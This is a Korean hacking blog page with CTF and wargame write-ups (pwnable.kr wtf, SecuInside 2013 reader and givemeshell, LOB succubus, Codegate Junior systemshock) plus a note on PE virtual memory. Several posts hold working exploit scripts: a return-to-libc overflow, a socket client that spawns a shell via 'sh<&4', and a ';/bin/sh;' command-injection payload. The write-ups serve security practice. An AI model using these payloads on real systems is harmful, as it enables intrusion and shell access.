pwnable.kr - wtf (100pt)

2016. 1. 15. 09:39

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

처음 실행했을때 깜짝 놀랐다.

일단 PEiD로 봤을때는 딱히 이상한 점은 없었는데,

IDA로 까보니 뭔가 안티디버깅 함수들이 있었다.

의미 없었지만.



(음? 누구시라구요?)


(히익 Egoist?!)

All alone with you 의 앨범 표지였던가 했던것 같다. 

어쨌든 이런 창 하나 띄워주고, 입력도 안받는다.

어디서 입력해야되는지도 모르겠고 그냥 분석하기로 했는데...




IDA로 까니까 이렇게 특정 문자열과 비교하는 부분이 있다.

간단하게 XOR, 뺄셈 후 비교하기만 하는 부분이므로

간단하게 역연산 해주면 풀린다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string = 'C;@R'
enc = []
dec = ""
 
for i in string:
    enc.append(ord(i))
 
for i in range(16):
    enc[0= enc[0] ^ 3
    enc[0= enc[0+ i
 
for i in range(15):
    enc[1= enc[1] ^ 4
    enc[1= enc[1+ i
    
for i in range(14):
    enc[2= enc[2] ^ 5
    enc[2= enc[2+ i
 
for i in range(13):
    enc[3= enc[3] ^ 6
    enc[3= enc[3+ i
 
for i in enc:
    dec += chr(i)
 
print "Decrypted : " + dec
cs








블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

뭔가 엄청 오랜만에 풀어본 것 같은 로컬 익스플로잇 문제였다.

분석하는 데에 몇 시간 걸렸는데 막상 제대로 익스플로잇 짠 시간은 몇분...

이 프로그램이 뭐하는 프로그램인지 제대로 분석해야 뭔가를 할 수 있다고 생각해서 보자마자 분석했는데,

그러길 잘한 것 같다.


이 문제만의 포맷으로 새로운 파일을 읽어들이는 방식을 만들어 둔 거라 규칙에 맞게 파일을 만들어야 한다.


왠지 코어파일이 덮어씌워지지가 않아서 한참을 삽질했다 (-_-;;


ulimit -s unlimited 로 시스템과 binsh를 알아낸 후 RTL로 풀면 간단하게 풀 수 있다.

터지는 부분은 출력 함수 부분에서 size2 에 &i를 대입했기 때문에 일어나는 스택 오버플로우.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct
import os
 
p32 = lambda x: struct.pack("<L", x)
 
system = 0x4007c190
binsh = 0x4019ca24
 
data = "\xffSECUINSIDE\x00" + "A\x00"+"A"*0x62 + "\xff\xff\xff\xff"
data += p32(8+ p32(8+ p32(0x32+ p32(0+ "."
data += "A"*20+"BBBB"+"CCCC"+"DDDD"+"EEEE"+p32(system)+"GGGG"+p32(binsh)+"IIII"+"JJJJ"
 
= open("reader.sec""w")
f.write(data)
f.close()
 
os.system('./reader reader.sec')
cs


'CTF > 지난 대회' 카테고리의 다른 글

Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

익스플로잇이 엄청 간단하다.


5글자를 받아와서 system에서 실행시켜주는 그런 문제인데, 5글자밖에 되지 않으니 파일 디스크립터를 이용하여 원하는 명령을 입력하도록 해야 한다고 생각했다.

리눅스에서 소켓의 fd는 기본적으로 4이므로 &4는 소켓의 fd를 의미한다.

따라서 sh를 실행시키고, 인자는 &4에서 받도록 < 를 이용해 넘겨준다.

sh에서 실행된 대부분의 명령은 모두 stdin으로 출력되므로 그것도 마찬가지로 &4로 받아오기 위해 뒤에 >&4를 붙여서 넘겨주면 쉘을 딴 것과 같은 효과를 낼 수 있다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from telnetlib import *
from time import *
 
HOST = '192.168.136.213'
PORT = 31339
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
while True:
    sock.send('sh<&4')
    data = raw_input('$ ')
    sock.send(data+">&4\n")
    sleep(0.1)
    print sock.recv(1024)
cs


'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
Codegate Junior 2015 Prequal - systemshock  (0) 2015.12.05
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
 
// the inspector
int check = 0;
 
void MO(char *cmd)
{
        if(check != 4)
                exit(0);
 
        printf("welcome to the MO!\n");
 
        // olleh!
        system(cmd);
}
 
void YUT(void)
{
        if(check != 3)
                exit(0);
 
        printf("welcome to the YUT!\n");
        check = 4;
}
 
void GUL(void)
{
        if(check != 2)
                exit(0);
 
        printf("welcome to the GUL!\n");
        check = 3;
}
 
void GYE(void)
{
        if(check != 1)
                exit(0);
 
        printf("welcome to the GYE!\n");
        check = 2;
}
 
void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}
 
main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }
 
        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 044);
        memset(buffer+48+10000xbfffffff - (int)(buffer+48+100));
 
        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-300003000-40);
}
cs


소스가 너무 길어서 캡처하기 힘들어 긁어왔다.

딱봐도 함수 Chaining을 이용해 

DO - GYE - GUL - YUT - MO 순서로 함수를 실행시킨 뒤

MO 함수의 인자로 "/bin/sh"를 집어넣으라는 의미인 것 같다.



우선 GDB로 함수의 주소를 각각 구했고


(클릭하면 커집니다)

인자로 아무 값이나 주고 뒤에 /bin/sh 문자열을 넣어 주었다.



덤프된 코어 파일을 확인해 보니 /bin/sh 문자열의 주소는 0xbffffaac이다.



그대로 바꿔 주면 정상적으로 들어가고, 쉘을 딸 수 있다.

'Wargame > Lord of Buffer overflow' 카테고리의 다른 글

LOB Redhat : assassin > zombie_assassin  (0) 2015.11.16
LOB Redhat : giant > assassin  (0) 2015.11.03
LOB Redhat : bugbear > giant  (0) 2015.11.03
LOB Redhat : darkknight > bugbear  (0) 2015.11.02
LOB Redhat : golem > darkknight  (0) 2015.10.17
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



 PE 파일 내부에는 가상 주소로 매핑하기 위한 Base 주소를 저장해 두는 부분이 있다. 이 부분은 IMAGE_OPTIONAL_HEADER 구초제의 ImageBase 필드에 지정되어 있는데, NT일 경우 EXE는 디폴트로 0x04000000번지에 이미지의 시작부인 "MZ~"를 로드한다. 시작 주소를 알았으므로 이제 RVA + ImageBase를 해 주면 VA를 구할 수 있다.

 거창하게 식으로 나타내면

VA = RVA + ImageBase

쯤 되겠다.

 이는 메모리에 매핑되는 가상 주소이며 실제 메모리의 주소는 아니다. 이렇게 매핑되는 메모리를 '가상 주소 공간(Virtual Address Space)'이라고 부르며,  한 프로세스당 32비트 시스템에서 4GB, 64비트 시스템에서는 16EB의 가상 주소 공간을 가지게 된다. 그리고 이렇게 매핑된 가상 메모리를 실제 물리적인 기억 장치와 연결시켜 주는 것이 가상 메모리 관리자(Virtual Memory Manager)이다. 줄여서 VMM이라고 부르는데, 여기서 물리적인 기억 장치라 함은 휘발성 메모리인 RAM 뿐만 아니라 하드 디스크의 특정 파일, 디폴트로 논리적 디스크의 루트에 존재하는 PageFile.sys를 포함한다.


 페이징 파일과 RAM, VAS는 VMM에 의해 관리되면서 각각의 프로세스에게는 독립적인 4GB(32비트 기준)의 선형 주소 공간을 가진 것처럼 착각하게 만든다. 하지만 이는 사실 가상의 주소일 뿐으로, 프로세스에 속한 스레드가 가상 주소 공간 내의 특정 번지에 액세스할 경우 VMM은 해당 번지의 페이징 파일과 그 주소를 매핑시켜 준다. 따라서 특정 가상 공간에 읽거나 쓰는 행위는 결국 해당 페이징 파일의 특정 페이지에 동일한 행위를 하는 것이 된다.


결국 매핑이라 함은 가상 주소 공간과 페이징 파일 사이의 페이지 단위의 대응을 의미한다. 이렇게 매핑된 페이지는 접근 가능한 상태가 되며, 이런 페이지를 COMMIT된 페이지라고 한다.

이런 매핑은 굳이 PageFile.sys 파일이 아닌 일반 파일에도 적용이 가능하다.

 특정 파일을 메모리에 매핑시켜 PageFile.sys의 역할을 대신하는 경우를 메모리에 매핑된 파일(MMF : Memory Mapped File)이라고 한다. 이렇게 메모리에 특정 파일을 매핑하기 위해서 API를 주로 사용하는데, 우선 CreateFile 함수를 이용해 파일을 열고, 해당 핸들을 인자로 CreateFileMapping 함수를 통해 MMF 커널 객체의 핸들을 반환받는다. 마지막으로 MapViewOfFile 함수를 이용해 리턴 값으로 해당 파일과 매핑된 메모리 번지를 가져올 수 있다. 이렇게 가져온 번지를 이용해 읽거나 쓰는 내용은 모두 VMM에 의해 실제 파일과 연동이 된다.

 이렇게 매핑을 할 때 디폴트로 사용되는 MMF는 PageFile.sys이지만, 로더는 EXE나 DLL을 로드할 때 PageFile.sys를 사용하지 않는다. PE파일 자체를 MMF로 사용함으로써 로드 시간을 절약하는 것이다. 물론 여기에서는 가상 공간 상의 PE에 무엇을 쓴다는 것이 바로 PE 파일 자체에 대한 변경을 의미하지는 않는다. 메모리의 페이지 속성에 따라 즉각 반영되는 경우도 있고 그렇지 않은 경우도 있는데, 메모리에 매핑된 PE는 "실행 가능" 속성을 지니기 때문에 "Copy-On-Write"라는 매커니즘을 통해 디스크 상의 해당 PE로의 즉각적인 반영은 이루어지지 않는다.


'Knowledge' 카테고리의 다른 글

마이크로/모놀리식 커널 (Micro/Monolithic Kernel)  (0) 2016.04.02
libcapstone-dev 설치 방법  (0) 2016.03.12
Wireshark로 인증서 추출하기  (0) 2015.11.02
제한적 ASLR 해제 방법  (0) 2015.10.22
RTL Chaining의 원리  (0) 2015.10.18
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.


로컬 익스플로잇 문제인 모양인데, 지금 보면 이 간단한 문제를 왜 못풀었었는지 모르겠다.

strcat 부분에서 간단하게 오버플로우가 나고, SSP가 걸려 있는 통에 EIP 조작을 통한 공격은 쉽지 않아 보인다.

게다가 뭔가를 출력해주는 함수도 없기 때문에 PLT나 GOT를 활용하는 것도 불가능하다.

오버플로우를 내지 않고 공격을 해야 하는데, 루틴을 보면 공격할 부분이 보인다.

system(dest)로 바로 실행시켜주기 때문에 dest를 어떻게 조작해서 command injection를 하면 쉘을 딸 수 있다.

위에서 __ctype_b_loc 으로 특수문자가 있는지 확인하고, 거기에 더해 공백이 있는지까지 본다.

사실 공백 검사를 하는 것을 깜빡하고 테스트용으로 'echo Hello' 등을 넣어 공격했다가 삽질했다.

strcat를 한 다음에 저 검사를 하기 때문에, 오버플로우를 일으켜 argv[1]의 주소가 든 부분을 덮어써서 NULL이 있는 부분으로 보내버리면 되겠다.


우선 argv[1]의 위치를 확인했다.

argv[1]은 0x7fffffffe893에 존재했고, 이 주소가 들어 있는 부분은 0x7fffffffe630이다.


다음으로 strcat의 인자를 확인하여 dest에 0x7fffffffe420이 들어가는 것을 확인했다.


이 주소간의 offset을 구해보면 0x210이 나온다.


마지막으로 NULL이 위치한 구간을 대충 찾았고, 이걸로 페이로드를 구성하면


./shock `python -c 'print "(dummy);/bin/sh;" + "A" * (0x210-3-len("(dummy);/bin/sh;")) + "\x64\x0a\x40"'`


이 되겠다.

3을 빼주는 이유는 미리 dest에 "id "라는 문자열이 들어 있기 때문이다.

이렇게 공격을 수행하면


쉘을 따는 것에 성공할 수 있다.

'CTF > 지난 대회' 카테고리의 다른 글

SecuInside 2013 - reader  (0) 2016.01.13
SecuInside 2013 - givemeshell  (0) 2016.01.13
Codegate 2013 Prequal - vuln 300  (0) 2015.11.21
Codegate 2013 Prequal - vuln 200  (0) 2015.11.21
Codegate 2015 - Bookstore  (0) 2015.11.16
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

pwnable.kr - tiny_easy (30pt)

2015. 11. 26. 01:56

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

pwnable.kr - brain fuck (150pt)

2015. 11. 26. 01:45

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.